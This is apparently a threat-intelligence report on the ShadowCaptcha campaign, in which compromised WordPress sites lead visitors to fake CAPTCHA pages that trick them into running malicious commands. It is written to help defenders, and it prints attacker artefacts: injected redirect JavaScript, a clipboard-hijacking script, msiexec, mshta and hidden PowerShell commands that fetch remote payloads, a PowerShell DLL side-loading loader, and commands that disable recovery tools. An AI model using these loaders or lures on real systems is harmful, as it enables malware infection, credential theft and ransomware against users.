ShadowCaptcha

ShadowCaptcha campaign

From CAPTCHA to Full-System
Compromise: Inside the ShadowCaptcha
Global Cybercrime Campaign

Published: Aug 2025

By: Shimi Cohen, Adi Pick, Idan Beit Yosef, Hila David and Yaniv Goldman

Tags: ShadowCaptcha, ClickFix, Lumma Stealer, Rhadamanthys Stealer (aka RadThief), CryptoMiner, DLL side-loading, vulnerable driver, XMRig, Epsilon Red, Malware, InfoStealer, Ransomware

Executive Summary

In August 2025, Israel National Digital Agency researchers uncovered an ongoing large-scale cybercrime campaign leveraging a ClickFix technique. The campaign uses a fake Cloudflare or Google CAPTCHA page to trick victims into executing malicious commands via compromised WordPress websites.

Retrospective analysis indicates the campaign has been active for at least the past year with the potential to impact thousands of organizations worldwide. Analysis uncovered over 100 compromised WordPress sites injected with malicious JavaScript redirecting to attacker-controlled infrastructure, and hundreds of malware samples spanning multiple families and variants.

The campaign, which we have dubbed ShadowCaptcha, blends social engineering, living-off-the-land binaries (LOLBins), and multi-stage payload delivery to gain and maintain a foothold in targeted systems. The ultimate objectives of ShadowCaptcha are collecting sensitive information through credential harvesting and browser data exfiltration, deploying cryptocurrency miners to generate illicit profits, and even causing ransomware outbreaks. This combination of tactics underscores its nature as an opportunistic financially motivated operation, blending social engineering, stealthy persistence, and monetization through both data theft and cryptomining.

If undetected, ShadowCaptcha can result in prolonged unauthorized access to internal systems, sustained cryptomining that degrades performance and increases operational costs, and large-scale exfiltration of sensitive data that could lead to reputational damage, regulatory penalties, and financial losses. The opportunistic nature of this campaign means that any internet-facing organization is a potential target, regardless of size or sector

Given its scale and adaptability, we recommend creating detection and prevention rules targeting the TTPs detailed in this report, alongside awareness training for end-users to recognize and avoid the broader ClickFix social engineering technique, to reduce risk and prevent future incidents.

Infection Vector - Compromised WordPress Sites and Fake CAPTCHA Pages

ShadowCaptcha attacks start when a user visits a compromised WordPress website. Malicious JavaScript injected into the site silently redirects the browser through one or more attacker-controlled domains before landing on a fake Cloudflare or Google CAPTCHA page. This fake "verification" page closely mimics legitimate Cloudflare and Google UI (with "Verify you are human" prompts) to look credible. In reality, it's a social-engineering trap. The fake CAPTCHA page instructs the victim to executing system commands themselves

JavaScript
1
async function i(o = 1) {
2
    try {
3
        let n = await fetch(
4
            decodeURIComponent(
5
                escape(
6
                    atob("aHR0cHM6Ly9hbmFseXRpdF2ZS5jb20vYXBpL2dldFVybA==")
7
                ) )
8
        );
9
        if (!n.ok) throw Error("Network response was not ok");
10
        return `${(await n.json()).url}/?wsid=${window.location.hostname}&domain=${t(window.location.hostname)}`;
11
    } catch (r) {
12
        if (o < 1) return i(o + 1);
13
        return `${e}/?wsid=${window.location.hostname}&domain=${t(window.location.hostname)}`;
14
    }
15
}
Figure 1 - The injected JS code links the site to the fake CAPTCHA page, handling victim profiling and stealthy redirection.

Two primary methods are observed: one that utilizes the Windows Run dialog (Win+R) and another that instructs victims to save a page as an .hta file and run it using mshta.exe. Both methods ultimately lead to the execution of attacker-controlled payloads via trusted Windows utilities.

Diagram of ShadowCaptcha ClickFix infection variants with two distinct execution flows
Figure 2 - ShadowCaptcha ClickFix infection variants exhibit two distinct execution flows. msiexec.exe often installs miners and info-stealers, while mshta.exe can lead to ransomware.

Use Case A - Windows Run (Win+R) Flow

The fake CAPTCHA tells the victim to press Windows+R, a keyboard shortcut to open the Run command dialog box and paste a pre-copied malicious command.

Fake Google CAPTCHA prompt instructing users to run a command with Win+R and paste malicious code
Figure 3 - A fake Google CAPTCHA prompt instructing users to run a command with Win+R and paste malicious code.
Figure 4 - A fake Cloudflare CAPTCHA prompt instructing users to run a command with Win+R and paste malicious code. Unlike a legitimate CAPTCHA, it tricks the victim into manually executing code that compromises their system.

The compromised ClickFix page automatically executes obfuscated JavaScript that uses 'navigator.clipboard.writeText' to copy a malicious command to the user's clipboard without any interaction, relying on users to paste and run it unknowingly. During analysis, we observed an anti-debugging mechanism implemented through a debugger trap. When browser developer tools are detected, the script alters its behavior to obstruct inspection and evade detection.

JavaScript
1
const lastCommand = 'msiexec /i hxxps[://]thelinedesigns[.]com /qn'
2
3
function _0x2e0f79() {
4
    let _0x21f27d = lastCommand + ''
6
    const _0xd6bfda = 240 - _0x21f27d.length
7
    let _0x203bd0 = ''
8
    if (_0xd6bfda > 0) {
9
        const _0x4907c7 = Math.min(80, _0xd6bfda)
10
        _0x203bd0 = '' + _0x21f27d + ' '.repeat(_0x4907c7)
11
    } else {
12
        _0x203bd0 = _0x21f27d.substring(0, 240)
13
    }
15
    navigator.clipboard.writeText(_0x203bd0)
16
        .then(() => {
17
            console.log('Command copied to clipboard successfully.')
18
        })
19
        .catch((_0x487f5f) => {
20
            console.error('Failed to copy command to clipboard:', _0x487f5f)
21
        })
22
}
Figure 5 - Deobfuscated JavaScript snippet that copies the malicious command to the user's clipboard.
  • • MSI-based execution msiexec.exe /i hxxps[://]attacker[.]domain/payload.msi /qn
    Installs a remote MSI package in silent mode (/qn), avoiding prompts and reducing visibility.
  • • Alternative MSI variant msiexec SKSIA=1401 /package hxxps[://]attacker[.]domain/payload.msi /promptrestart LAPBOS=119 /passive NIANS=299\1
    Attackers use randomized parameters and nonstandard flags to complicate static detection and alter installation behavior.
  • • MSHTA execution mshta.exe hxxps[://]attacker[.]domain/payload.hta
    Leverages the Microsoft HTML Application Host to run a malicious HTA file directly from the internet.

*Attackers could instruct victims to run a PowerShell or curl.

Use Case B - Save-as-HTA (Ctrl+S) Flow

Victims are given a fake "verification" page and instructed to save it as a .hta file rather than .html and then open it with mshta.exe.

Figure 6 - A follow-up step-by-step "verification" guide that tells the victim to save a file as .hta (HTML Application) and execute it

The saved file typically contains embedded JScript that spawns malicious processes:

var shell = (new ActiveXObject("WScript.Shell")).Run(
"powershell -nop -w hidden -e [base64 payload]", 0, false );

By convincing users to execute commands manually, ShadowCaptcha bypasses many security controls (no exploit or phishing attachment is needed). The victim's system tools fetch and runs the malware, making this initial infection stealthy and hard to detect with conventional defenses.

Retrospective scanning of global WordPress sites containing this injected code, cross-referenced with threat intel platforms such as VirusTotal, revealed over 100 compromised websites worldwide serving the redirector logic. Further analysis exposed an attacker-controlled infrastructure consisting of dozens of dedicated nodes, which the attacker leveraged to maintain the redirect chain and host the final fake CAPTCHA landing pages.

Execution Phase (DLL Side-loading vs Direct Execution)

In observed ShadowCaptcha campaigns, the initial execution phase often relies on DLL side-loading as a stealthy method to execute malicious code under the guise of legitimate processes. Attackers were seen abusing benign applications such as rawshark.exe or even security vendor binaries (e.g., AVG components) as hosts.

The malicious DLLs were commonly disguised with names mimicking legitimate libraries (e.g., wsc.dll, libwireshark.dll) to blend in seamlessly.

Frequently, PowerShell was used to drop both a legitimate signed binary and its corresponding malicious DLL into the same directory, thereby exploiting Windows DLL search order to ensure the rogue library was loaded instead of the legitimate one.

Powershell
1
POWErSHeLL -NoPRoFIL -Ep bypass -CoM $nuf='hxxps[://]pramuseq[.]com/update/bytemorph3[.]zip'
2
$wze='bytemorph.exe'
3
$gzq=('$' + ((65+ (Get-Random -Max 26)) + ((Get-Random -Minimum 1000 -Maximum 9999)) ) -join '' )
4
$pgp=Join-Path $env:TEMP ( 'L' + "$gzq" + '.zip')
5
$sqp=Join-Path $env:TEMP ( 'L' + "$gzq" )
6
iwr $nuf -UseBasicParsing -outfile $pgp
7
Expand-Archive $pgp $sqp -Force
8
rm $pgp -ea 0
9
$yrtr= gci $bgd -Filter $wze -Recurse -ErrorAction SilentlyContinue|select -First 1
10
if($yrtr){saps $yrtr.FullName, parent_process_name='MSIBBBB.tmp',
11
process=c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoPRoFIL -Ep bypass -CoM $nuf='hxxps[://]pramuseq[.]com/update/bytemorph3[.]zip'; $wze='bytemorph.exe'
12
$gzq=('$' + ((65+ (Get-Random -Max 26)) + ((Get-Random -Minimum 1000 -Maximum 9999)) ) -join '' )
13
$pgp=Join-Path $env:TEMP ( 'L' + "$gzq" + '.zip')
14
$sqp=Join-Path $env:TEMP ( 'L' + "$gzq" )
15
iwr $nuf -UseBasicParsing -outfile $pgp
16
Expand-Archive $pgp $sqp -Force
17
rm $pgp -ea 0
18
$yrtr= gci $bgd -Filter $wze -Recurse -ErrorAction SilentlyContinue|select -First 1
19
if($yrtr){saps $yrtr.FullName}
20
}
Figure 7 – PowerShell loader downloading a ZIP with a legitimate binary and a malicious DLL for DLL side-loading.

After gaining execution via a side-loaded DLL, some variants continued by injecting code into persistent processes such as explorer.exe, ensuring stealth and facilitating the delivery of additional payloads.

Not all variants use side-loading. Some payloads download and execute an EXE directly via PowerShell. For example, an HTA or scripted first stage may invoke a hidden shell to fetch and execute an additional payload.

Post-Infection Payloads

After the initial loader, ShadowCaptcha infections split into different payload branches depending on the operator's intent. Broadly, the campaign has delivered advanced Info-Stealers, Ransomware strains, and sometimes Crypto Miners.

Credential Theft: Info-Stealers

Many ShadowCaptcha infections deploy sophisticated info-stealing malware. We have observed variants of Lumma Stealer and Rhadamanthys Stealer (aka RadThief) used in this campaign. These malwares harvest a wide range of data: Windows credentials, browser-stored passwords, cookies, crypto wallets, system information, and more. They use encrypted C2 channels to exfiltrate stolen data. In a notable twist, Lumma Stealer can install a malicious Chrome extension (masquerading as a "Save to Google Drive" add-on) to maintain persistence and continuously siphon browser activity. This extension acts as a backdoor into the victim's web sessions.

Figure 8 - Malicious Chrome extension linked to Lumma Stealer, masquerading as a "Save to Google Drive" add-on to maintain persistence and access browser activity.

CryptoMiner Deployment: Info-Stealer Path

In some ShadowCaptcha variants branching from Info-Stealer, the malware goes beyond credential theft and installs a cryptomining payload. Specifically, it drops a fake WmiPrvSE.exe binary, masquerading as the legitimate Windows process. This fake executable then deploys two additional components:

  • • Monero Miner (XMRig-based)
    Delivered as WidgetService.exe, configured with aggressive performance flags (--cpu-priority=5 --randomx-no-rdmsr --cpu-max-threads-hint=50). The miner connects over TLS to attacker-controlled infrastructure (e.g., corepulse988[.]com:443), exploiting maximum system resources for Monero mining.
  • • Vulnerable Signed Driver (WinRing0x64.sys)
    Abused to achieve kernel-level access and interact directly with CPU registers, significantly boosting mining efficiency.
Figure 9 - Some variants fetch miner configuration (pool, wallet, flags) from Pastebin, giving attackers flexibility and evasion through dynamic updates over a benign service.

Ransomware

In other cases, operators push ransomware payloads. ShadowCaptcha payloads have dropped Epsilon Red, a destructive ransomware. The fake CAPTCHA delivers an HTA that ultimately runs PowerShell scripts to encrypt files on local drives and network shares, stop security services and demand payment. Unlike the stealthy info-stealers, this branch immediately focuses on extortion.

ShadowCaptcha Campaign Attack Flow

ShadowCaptcha Campaign Attack Flow
Figure 10 – The Full ShadowCaptcha ClickFix Campaign flow led to multiple variants, including infostealers, cryptocurrency miners and ransomware.

Persistence & Evasion Techniques

ShadowCaptcha infections use multiple layers of persistence and defense evasion to survive on infected machines:

  • • Scheduled Tasks
    The malware creates two SYSTEM-level tasks (at startup and on a schedule) to relaunch itself with high privileges.
  • • Masquerading as Legitimate Processes
    The main executable names itself WmiPrvSE.exe to blend in with WMI processes.
  • • DLL Side-loading/Injection
    The malware hides in trusted processes via side-loading and in-memory injection. These techniques let malicious code run under the umbrella of legitimate binaries.
  • • Obfuscated PowerShell
    The installer uses multiple heavily obfuscated PowerShell stages rather than one straightforward script. Some stages perform seemingly different tasks, and some duplicate work, but together they complicate analysis and delay detection.
  • • Driver Exploitation
    A signed vulnerable driver (WinRing0x64.sys) is installed for raw CPU access, boosting the miner's power.
  • • Disabling Security/Recovery
    The malware stops Windows Update services, deletes shadow copies, uninstalls the Microsoft Malware Removal Tool, disables the WinRE recovery environment (reagentc /disable), and prevents sleep - all to cripple recovery.
  • • Disabling Logs/Alerts
    Using hidden PowerShell (often with AMSI bypass), it adds broad Defender exclusions (e.g. C:\Users, C:\Windows) and even stops the Windows Event Log service, erasing logs and blinding defenders.

ShadowCaptcha infections persist silently by disabling defenses, erasing logs, creating scheduled tasks, and exploiting vulnerable drivers. These tactics neutralize security controls and ensure payloads survive reboots, turning compromised hosts into resilient platforms for data theft, cryptomining or ransomware.

Rare LOLBins Observed in ShadowCaptcha

While most activity relies on common LOLBins, ShadowCaptcha also abuses less typical binaries that should immediately raise suspicion in enterprise environments:

  • • reagentc.exe
    Disables the Windows Recovery Environment (WinRE), e.g. reagentc /disable to break automated recovery.
  • • wusa.exe
    Uninstalls Windows updates or tools (like the Malicious Software Removal Tool) via commands such as wusa /uninstall /kb:890830 /quiet.

These binaries are rare in normal user/server workflows. Any execution, especially when spawned by powershell.exe or cmd.exe and not tied to an approved change, should be treated as high-priority suspicious.

We are actively investigating adversarial abuse of "reagentc" and Windows Recovery Environment (WinRE) tampering. Recent reporting highlights WinRE as an emerging attack surface. We will publish new findings as they become available

Global Footprint Summary

Our analysis uncovered 100+ compromised WordPress websites worldwide, spanning every major region. Each infected site serves as an independent infection vector, silently redirecting visitors into the ShadowCaptcha campaign. Importantly, this dataset only reflects domains that were submitted to VirusTotal, meaning the real scale is likely far larger. The campaign represents a global outbreak with the potential to impact thousands of unsuspecting users across diverse industries and geographies

Global distribution of compromised WordPress sites by country and sector
Figure 11 - Global distribution of compromised WordPress sites by country and sector.

ShadowCaptcha Infrastructure & Attribution

Our investigation into the ShadowCaptcha campaign revealed that attackers added custom URL parameters (wsid, domain) via injected JS to track and control redirection to their ClickFix landing pages.

These parameters were likely used to block unauthorized/direct access attempts to the ClickFix Pages (e.g., from analysts or crawlers) and measure the effectiveness of traffic sent from each compromised site (how many users each site redirected to the ClickFix page) to optimize the campaign efficiency in the future.

hxxps[://]analytiwave[.]com/api/getUrl/?wsid={compromised_site}&domain={compromised_site_base64_encoded}&link={base64_Site_logo_from_the_genuine_site}
Figure 12 - Example of ShadowCaptcha redirection site URL structure.
hxxps[://]security[.]gueradflwre[.]com/?domain={compromised_site_base64_encoded}&link={site_logo_from_the_genuine_site}
Figure 13 - Example of the ClickFix landing page URL structure.

Search Query (VT):

entity:domain path:*wsid* path:*domain* ns_record:cloudflare.com creation_date:2025-01-01+

Using these findings, we built a tailored VirusTotal search to discover additional infrastructure related to the campaign.

The ShadowCaptcha campaign is a Malware-as-a-Service (MaaS) distribution infrastructure. A core operator maintains the compromised WordPress sites and ClickFix-style CAPTCHA lures, while a broad set of affiliates leverage this platform to deliver theirchosen payloads. These range from commodity Stealers and CryptoMiners to more advanced malware, highlighting how ShadowCaptcha functions as a distribution cluster that enables diverse threat actors to scale their operations rapidly.

Recommendations

Recommendations to reduce exposure and strengthen the organization's security posture against the threat listed in this blog:

  • • Employee Awareness
    Train users that legitimate CAPTCHA pages will never ask them to run executables like PowerShell or mshta.exe, or to save/run HTA files. Educating employees to identify the ClickFix social-engineering pattern can mitigate the risk at its core. Periodic phishing training, specifically for those mimicking ClickFix, can be a great start to familiarizing the employees with the risks of ClickFix.
  • • EDR/XDR Coverage
    Ensure the deployment of EDR/XDR solution on all hosts in the environments. Visibility is key in the early identification of the attack chain, so full command-line telemetry, file creation and manipulation logs, and PowerShell script block logging are essential.
  • • Proactive Threat Hunting
    Establishing a recurring hunt program lowers attacker dwell time and reduces impact. Establish a recurring hunt program for the behaviors described in this report and building a detection rule with automated responses can significantly lower dwell time and reduce impact.
  • • Micro-Segmentation
    Micro-segmentation between and even within networks can significantly reduce lateral movement opportunities between workstations/servers.
  • • Restrict Internet-Sourced Installs
    Monitor/restrict msiexec/mshta installs from the internet.
  • • Proxy/DNS Controls
    Using a secure web proxy can help detect and block access to malicious redirector pages, newly registered domains, and ClickFix pages.
  • • WordPress Hardening
    Keep all WP core, plugins, and themes patched, remove unused plugins, enforce MFA on admin accounts, and use a WAF to block common web attacks.

Conclusion

ShadowCaptcha shows how social-engineering attacks have evolved into full-spectrum cyber operations. By tricking users into running built-in Windows tools and layering obfuscated scripts and vulnerable drivers, operators gain stealthy persistence and can pivot between data theft, cryptomining, or ransomware. This versatility underscores the campaign's strategic risk, demonstrating how a single distribution cluster can serve as a launchpad for diverse and disruptive threat activity.


MITRE ATT&CK

Phase Techniques, Tools, and Procedures Title / Description MITRE ATT&CK
Initial Access Techniques Compromised WordPress sites used to redirect to fake Cloudflare/Google CAPTCHA (ClickFix). Drive-by Compromise – T1189 / Phishing: Link – T1566.002
Deployment Techniques Remote MSI installation via msiexec from an external source. Signed Binary Proxy Execution: Msiexec – T1218.007
Techniques Remote/Local HTA (verification.hta) file execution with mshta. Signed Binary Proxy Execution: Mshta – T1218.005
Techniques Tool delivery via PowerShell / BITS / WebClient (ingress). Ingress Tool Transfer – T1105
Techniques Staging additional payloads on attacker-controlled sites. Stage Capabilities: Upload Malware – T1608.001 / Web Service – T1102
Execution Techniques User execution of HTA file / copied commands. User Execution: Malicious File/Script – T1204.002 / T1204.003
Techniques Obfuscated PowerShell scripts. Command & Scripting: PowerShell – T1059.001
Techniques HTA / JScript spawning PowerShell. Command & Scripting: JavaScript/JScript – T1059.007
Techniques DLL side-loading of wsc.dll / libwireshark.dll via benign executable. Hijack Execution Flow: DLL Search Order Hijacking – T1574.001
Techniques Process injection into explorer.exe and dllhost.exe after initial execution. Process Injection – T1055 / Portable Executable Injection – T1055.002
Persistence Techniques Scheduled Tasks running as the SYSTEM user. Scheduled Task/Job – T1053.005
Techniques Service registered to load WinRing0x64.sys kernel driver. Create/Modify System Process: Windows Service – T1543.003
Techniques Malicious browser extension installation. Browser Extensions – T1176
Privilege Escalation Techniques Kernel-level code execution capability via vulnerable driver (WinRing0x64.sys). Exploitation for Privilege Escalation – T1068
Defense Evasion Techniques Tampering with Defender protections: adding C:\Windows, C:\ProgramData and C:\Users to exclusions. Impair Defenses: Disable/Modify Tools – T1562.001
Techniques Process injection into explorer.exe and dllhost.exe. Process Injection – T1055 / Portable Executable Injection – T1055.002
Tools Using wusa.exe to remove MSRT (KB890830). Impair Defenses – T1562.001
Tools Using reagentc.exe to disable/reconfigure WinRE. Impair Defenses – T1562.001
Techniques Stopping and disabling security services: eventlog, wuauserv, BITS, UsoSvc, WaaSMedicSvc. Impair Defenses: Disable Security Logging/Services – T1562.002
Techniques Compressed & Obfuscated archives and scripts. Obfuscated/Compressed Files & Info – T1027
Techniques Masqueraded as WmiPrvSE.exe (ProgramData path) and WidgetService.exe (systemprofile AppData path). Masquerading: Match Legitimate Name/Location – T1036.005
Discovery Techniques VM / sandbox detection; terminates if running in VM. Virtualization/Sandbox Evasion: System Checks – T1497.001 / Query Registry – T1012
Techniques Using net session to display network machine sessions. System Network Connections Discovery – T1049
Command & Control Techniques HTTPS for C2 & payload delivery; XMRig TLS comms with pools/proxies. Application Layer Protocol: Web – T1071.001 / Encrypted Channel – T1573
Exfiltration Tactic Stealer exfiltrates credentials, cookies, and system info to attacker infrastructure. Exfiltration Over C2 Channel – T1041 (assessed)
Impact Techniques Shadow copy deletion; WinRE disable and reagentc.exe removal (recovery inhibition). Inhibit System Recovery – T1490
Techniques Stopping critical services (updates/logging/security). Service Stop – T1489